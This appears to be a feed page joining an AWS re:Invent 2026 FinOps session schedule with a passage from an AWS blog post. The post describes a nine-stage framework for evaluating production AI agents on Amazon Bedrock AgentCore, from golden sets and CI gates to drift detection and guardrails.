Stay in the Know (Breakout Sessions)
COP209: Manage Cloud Costs and AI Spend with AWS Cost Management
 

 Tuesday, Dec 1 | 2:30–3:30 PM PST | MGM Grand | Level 3 | Premier 318
 

 This is our yearly new-feature announcement breakout. We cover how AI is helping teams manage cloud costs more effectively (“AI for FinOps”) and how to manage the cost of AI itself (“FinOps for AI”). AVIV Group joins to share their real-life learnings.
 

 Speakers: Bowen Wang (Principal PM Outbound, AWS), Matt Berk (Principal TAM, AWS), and Jordi Espasa (FinOps Director, AVIV Group)
COP201: Accelerating Cost Optimization on AWS
 

 Thursday, Dec 3 | 8:30–9:30 AM PST | Venetian | Level 2 | Ballroom F | Content Hub
 

 Learn how to find and implement cost optimization opportunities sustainably, measure results, and distribute savings across your organization.
 

 Speakers: Jimmy Yang (Principal PM, AWS) and Mary Nachimov (Sr. Technical PM, AWS)
Get Hands-On (Code Talk, Workshop, Builders’ Sessions)
Code Talk
COP403: Optimize AI Apps on Amazon Bedrock for Cost, Latency, and Control
 

 Monday, Nov 30 | 11:30 AM–12:30 PM PST | Wynn/Encore | Upper Convention Promenade | Cristal 2
 

 Repeat: Wednesday, Dec 2 | 8:30–9:30 AM PST | Wynn/Encore | Upper Convention Promenade | Cristal 2
 

 A live coding session on advanced optimization techniques for production AI applications, such as prompt engineering, model selection, and context window management. See the direct cost impact of each design decision in AWS Billing and Cost Management.
 

 Speakers: Andy Brown (Sr. Manager, FinOps, AWS) and Steph Gooch (Principal Tech Advocate, AWS)
Workshop
COP324: AI-Powered FinOps: Cloud Cost Optimization in Practice
 

 Monday, Nov 30 | 8:30–10:30 AM PST | Wynn/Encore | Upper Convention Promenade | Cristal 7
 

 Repeat: Wednesday, Dec 2 | 3:30–5:30 PM PST | MGM Grand | Level 1 | Grand 124
 

 Embed FinOps as an operational discipline using AI-powered cost optimization. Get hands-on with automated optimizations, rightsizing, AI/ML and container workload cost allocation, multi-cloud reporting, and AI-powered spend analysis. Laptop required.
 

 Speakers: Rupesh Lunia (Principal PM, AWS) and Enrico Bonaccorsi (Principal TAM, AWS)
Builders’ Sessions
COP311: FinOps for AI: Cost Allocation Strategies for Amazon Bedrock
 

 Wednesday, Dec 2 | 4:30–5:30 PM PST | Wynn/Encore | Convention Promenade | Latour 7
 

 Repeat: Thursday, Dec 3 | 10:30–11:30 AM PST | Wynn/Encore | Convention Promenade | Latour 7
 

 Get hands-on with the latest cost management capabilities for Amazon Bedrock. Tag API calls for granular cost attribution, set budgets to control AI spend, and track costs as they happen. Then query new product metadata in CUR 2.0 and visualize cost-per-million-token trends in CUDOS.
 

 Speakers: Yuriy Prykhodko (Principal Technologist, AWS), Judith Lehner (Principal TAM, AWS), Brenno Passanha (Sr. TAM, AWS), Ariel Fu (Sr. PM-Tech, AWS), and Eric Christensen (Sr. TAM, AWS)
COP312: Embed FinOps into Your CI/CD Pipelines
 

 Monday, Nov 30 | 1:30–2:30 PM PST | Caesars Forum | Level 1 | Forum 120 | Content Hub
 

 Repeat: Thursday, Dec 3 | 10:30–11:30 AM PST | Caesars Forum | Level 1 | Forum 120 | Content Hub
 

 Build a working cost estimation gate directly into a CI/CD pipeline. Evaluate infrastructure cost impact at pull request time and enforce spend thresholds before deployment. Laptop required.
 

 Speakers: Fredrik Tunvall (Sr. PM, AWS), Jenny Shen (SA, AWS), Travis James (Sr. Optimization SA, AWS), Hicham Lahlal (Sr. Cloud FinOps Architect, AWS), and Shubho Laga (Sr. TAM, EMEA)
Learn with Experts and Peers (Chalk Talks and Lightning Talk)
Chalk Talks
COP328: Building a Cost Governance Framework That Scales
 

 Wednesday, Dec 2 | 4:30–5:30 PM PST | MGM Grand | Level 1 | Boulevard 165
 

 Repeat: Thursday, Dec 3 | 1:00–2:00 PM PST | MGM Grand | Level 3 | Premier 311
 

 Interactive discussions and whiteboard approaches for organizing cost data, setting budget guardrails, allocating spend, and building visibility across your organization, featuring the AWS FinOps Agent. Bring your current FinOps challenges.
 

 Speakers: Adam Richter (Sr. Optimization SA, AWS) and Jason Wu (Sr. Technical PM, AWS)
COP329: Automate Savings with AWS Billing and Cost Management Services
 

 Wednesday, Dec 2 | 4:30–5:30 PM PST | MGM Grand | Level 3 | Room 353
 

 Repeat: Thursday, Dec 3 | 12:00–1:00 PM PST | Wynn/Encore | Convention Promenade | La Tache 2
 

 Discuss approaches to align commitment purchases and rightsizing optimizations with your business targets, and how to build automation into your continuous cost optimization efforts.
 

 Speakers: Savanna Jensen (Sr. Cloud FinOps Architect, AWS) and Haritha Chitalia (Cloud FinOps Architect, AWS)
Lightning Talk
COP348: Monitor and Optimize Costs for Amazon Bedrock
 

 Monday, Nov 30 | 5:30–6:30 PM PST | Venetian | Level 2 | Hall B | Expo | Global Impact Theatre
 

 A quick-hit session on practical tips for monitoring and optimizing Amazon Bedrock costs. A light yet essential way to kick-start your week.
 

 Speakers: Adam Richter (Sr. Optimization SA, AWS)
Returning This Year: Visit the CFM Kiosk
We’re excited to bring back the dedicated CFM kiosk at re:Invent 2026! After a year away, it returns as your hub for drop-in questions, live product demos (including the AWS FinOps Agent and other new features), and face-to-face conversations with CFM product managers and experts all week. Bring your own cost challenges and explore solutions with our team. No reservation needed. Just stop by.
 

 Kiosk host: Larry Im (Sr. SA, AWS), Koushik Das (Sr. TAM, AWS), Sean Falconer (Sr. SA, AWS). CFM product managers and field experts will be available on stand by for questions too.
Connect with the FinOps Community
The FinOps Foundation is joined by the Tokenomics Foundation and FOCUS team to continue its tradition of hosting a community event at re:Invent. This year, join them on Tuesday, December 1 at the Rock House for a morning-to-midday program. Start the day with the morning keynote watch party and connect with FinOps peers over a networking lunch. Sign up here.
Can’t make it? No worries. The FinOps Foundation team will join the AWS CFM team at the kiosk on Tuesday late afternoon to keep the conversation going on FOCUS, tokenomics, and the broader FinOps community initiatives.
Planning Tips
	Register early. Sessions have limited capacity, and popular ones fill up fast
	Build buffer time between sessions for venue transitions. The distances between Las Vegas hotels can be deceptive.
	Consider session levels. The session ID tells you the level: COP209 is a 200-level overview, COP403 is a 400-level deep dive.
	Check for repeats. Several sessions run twice this year, giving you a second chance if your first choice conflicts.
	Watch out for Wednesday afternoon. COP311, COP328, and COP329 all start at the same time, and COP324 repeat overlaps all three. If you want more than one, use the Thursday repeats.

Schedule at a Glance
	When	Session	Where
	Mon, Nov. 30
	8:30-10:30AM	COP324 Workshop: AI-Powered FinOps	Wynn/Encore, Cristal 7
	11:30 AM–12:30 PM	COP403 Code Talk: Optimize AI Apps on Bedrock	Wynn/Encore, Cristal 2
	1:30–2:30 PM	COP312 Builders’ Session: FinOps in CI/CD	Caesars Forum, Forum 120
	5:30–6:30 PM	COP348 Lightning Talk: Bedrock Cost Monitoring	Venetian, Expo Hall, Global Impact Theatre
	Tue, Dec. 1
	Morning to midday	FinOps Foundation community event	Rockhouse
	2:30–3:30 PM	COP209 Breakout: Manage cloud and AI Spend	MGM Grand, Premier 318
	4:30-6PM	FinOps Foundation joins AWS CFM at the kiosk	CFM kiosk, Expo Hall
	Wed, Dec 2
	8:30–9:30 AM	COP403 Code Talk (repeat)	Wynn/Encore, Cristal 2
	3:30–5:30 PM	COP324 Workshop (repeat)	MGM Grand, Grand 124
	4:30–5:30 PM	COP311 Builders’ Session: Bedrock Cost Allocation	Wynn/Encore, Latour 7
	4:30–5:30 PM	COP328 Chalk Talk: Cost Governance Framework	MGM Grand, Boulevard 165
	4:30–5:30 PM	COP329 Chalk Talk: Automate Savings	MGM Grand, Room 353
	Thu, Dec.3
	8:30–9:30 AM	COP201 Breakout: Accelerating Cost Optimization	Venetian, Ballroom F
	10:30–11:30 AM	COP311 Builders’ Session (repeat)	Wynn/Encore, Latour 7
	10:30–11:30 AM	COP312 Builders’ Session (repeat)	Caesars Forum, Forum 120
	12:00–1:00 PM	COP329 Chalk Talk (repeat)	Wynn/Encore, La Tache 2
	1:00–2:00 PM	COP328 Chalk Talk (repeat)	MGM Grand, Premier 311

Session dates, times, and locations in this post are subject to change as we continue to optimize the schedule based on session popularity and venue capacity. Please check your re:Invent session catalog regularly for the most up-to-date information about your registered sessions.
We look forward to seeing you at re:Invent 2026!

Read it at the source



Building trust in AI agents: A production-ready evaluation framework with Amazon Bedrock AgentCore

AWS Machine Learning · Oct 16, 8:48 PM UTC

The North Star
Every organization racing to deploy AI agents faces the same reckoning: an agent that demos beautifully can quietly degrade in production, and by the time a human notices, the trust is already broken. Where traditional software fails loudly, agents fail softly. They return an answer that looks confident, reads fluently, and is wrong. When that answer drives a real business decision, the cost is not a broken feature. It’s a broken relationship with the user.
That’s the quality problem at its core. The challenge is therefore not building agents that work once, but proving they keep working, at scale, across every sub-agent, every workflow, and every release. The teams that win the agent era will be the ones who treat quality not as a final QA step but as the operating system of the agent itself: continuously measured, automatically defended, and improved with every interaction. In this post, we show how we built a continuous quality loop for production-ready agentic solutions at scale using Amazon Bedrock AgentCore.
Business problem
The solution uses Amazon Bedrock AgentCore and other AWS services for internal use, so sellers and sales leaders can ask business questions in plain English from Amazon Quick. Behind that single experience, several specialized sub-agents work together: the Performance Insights Agent for territory-scoped revenue and performance, the Customer Insights Agent for customer intelligence, the Data Insights Agent for text-to-SQL over foundational datasets, and direct dashboard access. Answers are scoped to each user’s territory and role-level security. Field teams use these answers to assist in planning account strategy, prepare for customer meetings, so the numbers must be right. The most damaging failure is not a crash. It’s a fluent, confident answer that is quietly wrong. Before launch, when we evaluated the Customer Insights Agent, we found exactly that:
	It reported $410.08 of a customer’s three-month revenue on a service as “$410.08 Million.”
	It reported Sales Revenue labeled as Sales Revenue excluding Adjustments.
	It offered an Annual Recurring Revenue estimate that appeared nowhere in the data.
	It presented its own calculations as sourced facts.

Through the different runs, monitoring stayed green. It told us the system had responded, not whether the answer was right.
Had these errors shipped uncaught, the field would have paid for them. A seller who repeats an inflated figure can lose credibility with the customer. This is exactly why we caught it before launch. The risk doesn’t end at launch: it grows with every new agent and every change to data, prompts, code, or models. It also grows without any release, because upstream pipelines refresh the data every week. Coordinated releases introduce a related risk: when a data change, a tool change, and a paired prompt update are meant to ship together but land apart, the system runs mismatched until all changes catch up. In one pre-production test, that mismatch window by itself dropped the pass rate from 78 percent to 38 percent. To catch failures like these, before every release and continuously in production, we need a framework that can show whether answers are grounded and correct, and trace each failure back to its root cause in the data, the prompt, or the agent’s code.
At AWS, the Sales, Marketing, and Global Services (SMGS) Operations team developed a production multi-agent system serving AWS Field Sales worldwide. It serves two distinct audiences. For field sales teams, it replaces hours of manual data analysis with on-demand, conversational intelligence, helping sellers understand the health of their business, surface risks and opportunities, and take action faster. For leadership, it powers business management cadences including Weekly Business Reviews (WBRs), surfacing the signals that matter across the portfolio without requiring manual report preparation. The same agentic system serves both the seller on the front line and the leader reviewing performance at scale.
The agentic system orchestrates a growing portfolio of specialized sub-agents, each owning a distinct capability domain. Among them: the Performance Insights Agent generates natural-language business intelligence narratives from complex sales data, turning raw metrics into actionable seller insights. The Customer Insights Agent assembles a 360-degree view of each customer by synthesizing signals across product usage, support history, contract status, and engagement data, helping sellers understand where a customer is in their journey and what they need next. The Data Insights Agent is a text-to-SQL agent that account teams use to query structured analytics data in plain English without writing a single line of SQL. These three agents are the ones referenced throughout the rest of this post.
Coordinating these agents reliably at scale made one thing clear: agentic quality wasn’t an operational concern to manage later. It was the prerequisite for operating. A single degraded sub-agent can silently corrupt every response downstream, and traditional monitoring won’t catch it. That reality made a full lifecycle evaluation framework not optional but necessary. AgentCore Evaluations, a capability of Amazon Bedrock AgentCore, is the connective tissue powering it, alongside Amazon Bedrock Guardrails (safety), Amazon CloudWatch (metrics, alarms, tracing), Amazon Simple Storage Service (Amazon S3) and Amazon Redshift (evaluation persistence), Amazon Quick (dashboards), and AWS Lambda (custom evaluators).
In this post, we share how we tackled the hardest operational challenges in running AI agents at enterprise scale, and how Amazon Bedrock AgentCore Evaluations became the backbone of agent quality. Specifically, we cover:
	Agents play by different rules – Why agents demand a different operational discipline, and why traditional monitoring (latency, error rates, uptime) leaves you blind to the failures that matter most.
	A map for the whole journey – The nine-stage evaluation framework we built on AgentCore Evaluations, covering every phase of the agent development lifecycle from first commit to production.
	From theory to practice – Concrete patterns (continuous integration and continuous delivery (CI/CD) regression gates, canary scoring, drift detection, and automated feedback loops) and exactly how AgentCore Evaluations powers each one.
	Metrics that actually matter – The measurable impact on deployment confidence, regression prevention, and iteration speed across our agent portfolio.

Why agents need a structured evaluation framework
Traditional software is deterministic: the same input produces the same output. Machine learning (ML) models introduced probabilistic outputs, and MLOps emerged to manage their training, versioning, monitoring, and re-training. AI agents add a third layer of operational complexity: autonomous, multi-step reasoning, where the question shifts from “did something break?” to “is the agent making sound decisions across its entire reasoning chain?”
Agents inherit the hard problems of both predecessors, and introduce some new ones. They’re non-deterministic, following different reasoning paths for identical inputs. They make cascading decisions across routing, tool selection, and synthesis, where a single step can fail quietly and corrupt everything downstream. Most critically, they degrade silently: latency stays low, error rates stay flat, yet the quality of agent response erodes, because the agent is still responding. It is just responding wrong.
Agent evaluation is the practice of catching exactly that. It spans five dimensions: safety (is it behaving within defined boundaries?), quality (is the agent producing correct, coherent, grounded responses?), performance (is it fast and reliable enough?), cost (is it running efficiently at scale?), and operational control (can we detect, diagnose, and remediate issues quickly?). A mature evaluation practice addresses five continuously, throughout the full agent lifecycle.
In this post, we share how we operationalize five evaluation dimensions across a production multi-agent system. Safety and security is our first priority. No agent ships, and no agent keeps running, if it can’t meet its safety bar. Quality gets the most space in this post because it’s the hardest of the five to get right and benefits most from a dedicated framework, but it doesn’t outrank safety. Performance, cost, and operational control are woven into every stage of the lifecycle alongside both. Critically, this framework applies at every level of the agent hierarchy. At the tool level, each capability (a customer disambiguation tool, graph retrieval tool) has its own evaluation contract. At the agent level, each sub-agent is evaluated end-to-end. At the multi-agent level, orchestration paths are evaluated for coherence, correct routing, and synthesis accuracy across agent boundaries.
The nine stages apply at three levels simultaneously, and this hierarchy is not specific to this product. It’s the right mental model when we build or integrate new production agents. Most teams start by evaluating at the agent level and stop there. But agent-level quality is only as good as the tools it relies on, and multi-agent systems introduce a third failure surface that neither level can see alone. A robust evaluation practice covers three, with each level running its own golden set, its own evaluators, and its own promotion criteria through the nine stages.
The agent evaluation framework: nine stages, one closed loop
These nine stages trace the agent lifecycle from first commit to live production, and each one answers a question teams face as their agents mature.
The agent lifecycle and the nine common questions
Every team building production agents encounters the following questions as their agent matures:
Stage 1: The Foundation: “What does good look like?”
Stage 2: The Experiment: “Which version is better?”
Stage 3: The Merge (CI): “Did I break something?”
Stage 4: The Gate (CD): “Is it safe for production?”
Stage 5: The Canary: “Did something silently break?”
Stage 6: The Adversary: “What if someone tries to break it?”
Stage 7: The Drift: “Is quality drifting in live?”
Stage 8: The Pulse: “How do we know it’s working right now?”
Stage 9: The Feedback Loop: “How does it get better automatically?”
We build one framework for every stage of the agent lifecycle using AgentCore Evaluations. The nine stages are not separate tools stitched together after the fact. They’re nine points on a single, continuous evaluation surface, powered by AgentCore Evaluations from first commit to production response, as shown in Figure 1.

 
 Figure 1: The nine-stage AgentCore Evaluations journey, from Define through Improve

Here’s how we tackle each one: the pattern that works, the AgentCore services behind it, and what it looks like running in production, shown in system design in Figure 2.

 
 Figure 2: System design of the AgentCore evaluation framework

Stage 1: The Foundation. Define quality
The foundation of evaluating an agent isn’t about choosing the right tools. It’s about asking the right question: what does success look like for this agent, and how do we know when it is failing? The answer must come from the customer, not from the model. This is an iterative process. Our definition of success has sharpened as we observe what the agent actually does in production. Everything defined here (failure thresholds, evaluator stack, golden set, safety rules, latency budgets, and cost targets) is the contract every subsequent stage enforces. If Stage 1 is vague, every downstream gate is guessing.
Stage 1.1: Define your business metrics first. Start by asking what the agent exists to deliver. The two end user personas define success differently:
	For sellers, success means walking into a customer conversation with accurate, current intelligence at the right detail level and at the right time.
	For leadership, success means reliable weekly and cross-business review inputs without lengthy manual preparation. These are business outcomes, not model properties.

Stage 1.2: Translate those business metrics into evaluation metrics. For each outcome, identify the signal that confirms the agent delivered it. Each signal becomes a tracked metric with an explicit threshold and an alarm condition. Accurate account intelligence maps to entity resolution accuracy and grounding rate. Seller trust maps to faithfulness and hallucination rate. Seller action maps to helpfulness and scope adherence. Leadership review reliability maps to accuracy pass rate and response coverage. This translation must cover five dimensions: alongside quality thresholds, define safety guardrail policies, set p50, p90, and p99 latency targets per tool and per agent, establish cost-per-query budgets, and define the service level agreements (SLAs) that determine when an alarm fires and which runbook it triggers.
For accuracy specifically, because the solution directly informs revenue decisions, renewal strategies, and executive reviews, the bar is high. A confidently wrong answer does not only waste a seller’s time. It leads to a wrong decision in a real business moment. We define six failure types derived from real production errors, any one of which marks a response as inaccurate:
	Metric swap: correct customer and period, wrong metric returned. Tracked as occurrences per 100 responses.
	Wrong period: data from one time window is labeled as another, for example a year-over-year (YoY) figure presented to the seller as month-over-month (MoM), or the reverse. Tracked as % citing the correct window.
	Wrong entity: conflated account names or subsidiaries. Tracked as entity resolution accuracy %.
	Pure hallucination: ungrounded figures with no traceable source. Tracked as grounding rate %.
	Wrong symbols: correct metric, wrong currency or unit symbol. Tracked as scope adherence rate %.
	Unauthorized calculation: unsanctioned derived figures not present in the source data. Tracked as occurrences per 100 responses.

The overall accuracy pass rate is the headline metric. Per-dimension tracking is what makes it actionable. Beyond accuracy, we also track Response relevance, Faithfulness, Helpfulness, Instruction Following,Tool Selection Accuracy. A correct answer buried in three paragraphs, or arriving too late, has also failed the seller.
Stage 1.3: Build an evaluator stack that reflects those metrics. No single evaluator type covers the various failure modes possible. We combine four types:
	AgentCore built-in evaluators for broad baseline coverage. Relevance, faithfulness, and helpfulness map directly to evaluation templates available natively in AgentCore Evaluations.
	Customized evaluators, one per failure type in our taxonomy: a metric swap evaluator, a wrong period evaluator, a wrong customer evaluator, a pure hallucination evaluator, a wrong symbols evaluator, and an unauthorized calculation evaluator. None of the six are covered by native templates. They’re domain-specific signals we built on top of the AgentCore framework. Knowing upfront which metrics a native template already covers, and which require a customized evaluator, is itself part of the design decision.
	Third-party evaluators, we deployed the managed evaluators from third-party open source libraries DeepEval and AutoEval.
	Deterministic evaluators for ground truth checks where the correct answer is known exactly, such as revenue, renewal date, and contract status.

Where reasoning quality and helpfulness have no single correct answer, we use LLM-as-judge rubrics instead, with built-in rubrics for relevance, faithfulness, and helpfulness plus support for fully custom rubrics. AgentCore Evaluations provides both ground truth and LLM-as-judge evaluation natively, which is what let us stand up both evaluation paths without building either scoring engine ourselves. Deterministic gives precision on facts. LLM-as-judge gives breadth on reasoning.
Stage 1.4: Build a golden set to exercise your evaluation metrics. At the tool level, each critical tool has its own deterministic ground truth pairs: customer identification must resolve to the exact canonical entity or fail. At the agent level, topic analysis on real user queries produces a dataset across four question types (comprehensive, reporting, reasoning, and ambiguous), each requiring a different evaluation strategy, revisited monthly. At the multi-agent level, end-to-end orchestration scenarios catch errors that only emerge when agents interact. The golden set is not only a quality dataset. It also includes safety test cases, latency benchmark cases, and cost reference cases, so Stages 3 and 4 can check five dimensions against the same curated dataset.
The golden set is a living document, built from three sources. Production-derived cases are sampled from real seller and leadership queries, including the low-scoring live sessions promoted in Stage 7. Failure-derived cases come from every regression caught in staging or production, including the sentinel cases promoted in Stage 3 and the permanent regression guards promoted in Stage 9. Synthetic edge cases are deliberately constructed to guarantee coverage of scenarios we know matter but can’t wait to encounter in the wild, such as the four question types above and the parent-subsidiary and ticker-symbol disambiguation cases in Stage 4. The set is version-controlled, reviewed, and continuously extended across three sources.
Stage 2: The Experiment. Know which version wins
Every change (a prompt update, a new tool, a model upgrade, a dataset refresh) raises the same question: is this version actually better? In a system serving the AWS field at global scale, intuition isn’t an acceptable answer.
Before a change merges, we run an AgentCore On-Demand Evaluation, scored against the same golden set with the same evaluator suite. The development team uses the quality, latency, cost metrics, and context token, to curate downstream comparisons which is evaluated across five dimensions simultaneously, as shown side by side in Figure 3. A model that improves accuracy by 5 percent but doubles latency and triples cost doesn’t automatically win.

 
 Figure 3: Side-by-side comparison of two candidate agent responses in an AgentCore On-Demand Evaluation across quality, latency, and cost. The numbers and values in the figure are illustrative.

We track quality as a comprehensive scorecard, not one single number. A pass rate alone doesn’t tell you enough. Each eval run produces a full breakdown across every failure category in our taxonomy: not just whether quality improved, but where and why, as captured in the scorecard in Figure 4. Every evaluation is also fully recorded: inputs, outputs, retrieved context, scores and evaluation reasons are stored in S3 and our data lake, giving us a persistent observability layer to trace failure back to its root cause: what the agent saw, what it generated, and why it went wrong. Over three months of targeted iteration, this scorecard drove pass rate from 93 percent to a stable 96 percent: pure hallucinations dropped from 138 to under 52 per 10,000 responses, unauthorized calculations fell from 59 to under 44, confirming that retrieval was sound and the gains came from generation fixes. Without the per-category breakdown and the detailed trace data behind it, we would have been iterating blind.

 
 Figure 4: Evaluation scorecard with per-category failure breakdown and pass-rate trend. The numbers and values in the figure are illustrative.

Stage 3: The Merge (CI). Prevent regression at merge time
Stage 3 is a pre-production gate. It runs in the staging environment, triggered by code and configuration changes, and its job is to block a bad change before it ever reaches production. If Stage 3 catches a regression, nothing ships.
Engineers or scientists change the system in many ways: the prompt, the underlying data, the tools, or the model. The change looks clean locally, tests pass, but a prompt that improves responses for technology accounts could silently degrade responses for financial services accounts. Without an automated gate, this ships.
Our CI evaluation is triggered automatically on every staging deployment using AgentCore On-Demand Evaluation. Engineers do not need to remember to run an evaluation. No deployment can silently skip the gate. The run completes in minutes because it evaluates only the sentinel set, not the full golden set. Speed is intentional: the sentinel is narrow enough to run on every deployment but representative enough to catch the failures that matter most.
The sentinel set is a curated selection of the highest-risk scenarios across five dimensions. Quality regressions beyond tolerance block the deployment. A safety boundary violation blocks just as hard. A change that doubles p90 latency does not proceed without a deliberate decision. Token cost spikes are flagged before they compound at scale. Every sentinel run publishes its scores to CloudWatch as custom metrics alongside quality scores, latency, cost per query, and safety pass rate are all emitted after every run, and CloudWatch alarms are configured to fire if any metric breaches its Stage 1 threshold. Every run is also logged and stored, feeding the audit trail Stage 8 and Stage 9 rely on. We maintain a separate sentinel at each level: tool, agent, and multi-agent. A change that improves agent-level quality but degrades a critical tool still blocks. The sentinel is reviewed monthly, and a regression that slips through to production is immediately promoted into a permanent case so it doesn’t reach users twice.
One example of what this catches. After a data normalization update, a disambiguation tool started returning unresolved entities for a subset of account name formats. The agent, receiving an unresolved entity, responded with a best-guess match, returning real data for the wrong customer. Our tool-level sentinel includes exactly this class of edge case: the entity resolution ground truth check failed for the affected account name formats, and the deployment was blocked automatically. The change never reached production.
Stage 4: The Gate (CD). Ship with quantitative confidence
The sentinel covers 15 cases. Production covers tens of thousands of query patterns across hundreds of account types, geographies, and seller segments. Clearing the sentinel is necessary. It is not sufficient.
Before a candidate ships, we run an AgentCore On-Demand Evaluation against the full golden set across the evaluator dimensions. We call this the Quality Gate. It replaces “it seems fine” with a quantitative shipping decision.
Sandboxed execution and tool mocking. Think of it as a replay, not a live call. Ahead of time, we freeze a known, versioned dataset of correct tool behavior. Every tool call the candidate makes during the gate is intercepted and answered from that frozen dataset instead of a real system. We build that frozen dataset in two steps. First, we test each tool on its own: we send it a held-out set of inputs from our golden set where the correct answer is already known, and score what it actually returns against that known answer. This tells us whether the tool itself works (entity resolution, retrieval, SQL generation) before the agent is even involved. Second, after a tool’s responses are confirmed correct, we freeze those same validated answers into the replay dataset the agent sees during gate evaluation. That means the agent is tested purely on its own reasoning, not on live tool speed or availability, and because every candidate replays from the same frozen dataset, any score difference head-to-head is about the agent, not tool variance.
Aggregated end-to-end scoring. The gate also runs a holistic pass: the full candidate agent answers 200 held-out questions end-to-end, scored by an LLM-as-judge rubric across all evaluator dimensions. Any one of three conditions shuts the gate automatically: the aggregate score regresses against the candidate’s own prior run, it fails to beat the current production baseline, or more than a defined percentage of the 200 questions falls below the per-question threshold. A candidate must clear all three, which catches what a simple average can hide: a model that improves the mean while quietly failing a larger share of individual questions doesn’t pass.
One example of what this catches. This is where mocking tests the agent’s own reasoning, not just the tools underneath it. Our golden set includes a hierarchy mismatch case: the Customer Insights Agent and Data Insights Agent return different, individually correct revenue figures for the same customer, one scoped to the parent account, the other to a subsidiary. Neither number is wrong. The case tests whether the agent infers the right scope from the query’s semantics and the requester’s persona (a seller likely wants the subsidiary, whereas a leadership query likely wants the parent rollup), rather than defaulting, averaging, or asking the seller to disambiguate. The candidate failed, returning the parent-level figure for a subsidiary-scoped question. The golden set’s ground truth for this case specifies which scope the question expects, so the Quality Gate flagged the mismatch immediately: not a wrong number, but the right number for the wrong scope.
Stage 5: The Canary. Catch silent post-deploy failures
Stage 5 is a post-production monitor. It runs continuously in the production environment against live traffic and synthetic evaluation cases, and its job is to catch issues that no code change triggered and that Stage 3 therefore didn’t see. Stage 3 guards against what engineers change. Stage 5 guards against everything else like upstream data shifts, evolving model behavior, changes in third-party dependencies, or other conditions such as increased latency or shifting traffic patterns that only manifest under real-world load.
The product operates against a data estate fed by thousands of upstream schemas and data pipelines. On a given day, dozens of those pipelines refresh without triggering a deployment or CI gate. The agent code is unchanged, the model is unchanged, but the data it reasons over has changed, and quality can degrade silently as a result. We learned this the hard way: an upstream pipeline refreshed with a schema change, the agent started citing data from the wrong time window, and the first signal came through a seller inquiry rather than an automated alert. Stage 5 is how we catch this in the first 30-minute evaluation window instead.
We run AgentCore Batch Evaluation on two complementary schedules, and the choice of cadence was deliberate.
We settled on 30-minute cycles after learning from both directions: 15 minutes generated too many false alarms; 60 minutes let two hours pass before a real degradation registered. We call each 30-minute cycle an evaluation window. Thirty minutes catches a real trend within 90 minutes (three consecutive windows) while filtering out single-query noise. Each window scores a round-robin selection across the golden set, giving full coverage in 24 hours.
Thresholds are deliberately lower than CI/CD gates. A single window failure is an ops signal, not an incident. We only page oncall after three consecutive windows breach threshold. We learned this rule the hard way: the first month we used a single-window threshold, oncall stopped trusting the system entirely. Once per day, the full golden set runs at gate thresholds as the authoritative daily scorecard. The 30-minute windows surface the trend. The daily run confirms it and cuts a ticket.
Every run publishes to CloudWatch (accuracy, hallucination rates, grounding rate, latency, and cost), with alarm logic that distinguishes between the two cadences. The canary runs at three levels: tool-level scores surface a degraded retrieval tool before it corrupts agent-level responses.
Another example of what this catches. After an upstream index refresh, a retrieval tool began returning loosely relevant chunks instead of the precise context needed to answer the query. Latency was nominal. Error rate was zero. The agent kept producing fluent, confident responses by reasoning over weakly grounded context, producing answers that looked correct but cited the wrong figures. No infra alarm fired. The canary caught it in the first 30-minute window: grounding rate and retrieval precision dropped across the tool-level sentinel, triggering a CloudWatch alarm before sellers acted on the degraded answers. The low evaluator score flagged the exact trace responsible. From there, the on-call engineer opened that trace in AgentCore and traced the degraded context back to the retrieval tool in minutes.
Stage 6: The Adversary. Protect against misuse
Not every bad output comes from a degraded model. Queries crafted to extract unauthorized account data, and prompt injections embedded in retrieved documents, are predictable patterns in a system serving thousands of users on sensitive business data.
Safety isn’t a stage. It runs through all nine stages. We apply Amazon Bedrock Guardrails at two points in every interaction. At input, we validate query scope and screen for prompt injection. At output, we verify that no sensitive data is surfaced to unauthorized users and that the agent has not been manipulated into a policy violation. These checks run on 100 percent of traffic, synchronously, before a response reaches the user.
We configure two guardrail layers, each covering a distinct threat class:
Content filters detect and block harmful or inappropriate content in both inputs and outputs. We enforce filters across categories including VIOLENCE, HATE, SEXUAL, MISCONDUCT, and INSULTS. A request or response that triggers these filters is blocked before it reaches the seller or is surfaced to the user.
Prompt security filters protect the agent from adversarial manipulation under a single PROMPT_ATTACK guardrail category, covering three sub-types: JAILBREAK (attempts to override the agent’s system instructions or bypass its operational boundaries), PROMPT_INJECTION (unintended instructions embedded in retrieved documents, tool outputs, or user queries), and PROMPT_LEAKAGE (attempts to extract the system prompt or internal configuration). In a multi-agent system that uses Retrieval Augmented Generation (RAG), prompt injection through retrieved content is a real risk. An unintended document in a seller’s account data could attempt to redirect the agent’s behavior mid-reasoning.
Safety rules are defined at Stage 1, checked for regressions at Stages 3 and 4, and enforced continuously in production.
Stage 7: The Drift. Sustain quality and validate with live traffic
Quality degrades from multiple directions: upstream data changes without triggering a deployment, models grow stale, and users push boundaries with queries no golden set fully anticipates. Stage 7 detects it before sellers do, and validates candidates against real user traffic before full rollout.
Drift detection. Using AgentCore Online Evaluation, we sample 10 percent of live traffic continuously through the different evaluators defined at Stage 1, so the drift is immediately visible as a deviation from the baselines established offline. Scores feed into a Quality-State Calculator monitoring quality, latency, and cost in the same window.
One production example. Our golden set for customer identification was built from synthetic edge cases: name variations, subsidiary lookups, abbreviations. It performed well offline. But in live traffic, sellers queried with stock ticker symbols (“what’s going on with AMZN?”), shorthand names, and typos the synthetic cases did not exercise. The Quality-State Calculator surfaced the drift across three consecutive 30-minute windows: 98 percent at 1:30am, 81 percent at 2:00am, 80 percent at 2:30am. CloudWatch paged oncall when the rolling threshold was crossed. The on-call engineer queried the agent: “What happened to customer identification accuracy between 1am and 3am?” and received a trend summary pinpointing ticker symbol lookups and shorthand names as the failure driver. The agent’s trace made the root cause immediately visible. The fix: expand the golden set with the low-scoring live sessions, and update the disambiguation tool to normalize input formats before resolution. Accuracy recovered to baseline within the next evaluation cycle.
Live traffic feeds two continuous improvement loops: low-scoring sessions are promoted into the golden set as new edge cases, and clusters of low-scoring traces inform prompt revisions, tool updates, and routing adjustments.
A/B testing: After a candidate clears a quality gate, AgentCore Gateway, a capability of Amazon Bedrock AgentCore, routes a slice of real traffic between current and candidate agents. On-demand confirms no regression on known cases. Online confirms it holds up against the long-tail inputs and novel phrasings only real users produce. A candidate must win or draw across all evaluator dimensions before full rollout.
Stage 8: The Pulse. Real-time quality visibility
A single call to the agent might touch three sub-agents, five tools, and two retrieval paths. When a quality alarm fires, “something in the agent pipeline” is not a runbook. Stage 8 is where signals from Stages 5, 6, and 7 converge into an observability layer with enough resolution to act.
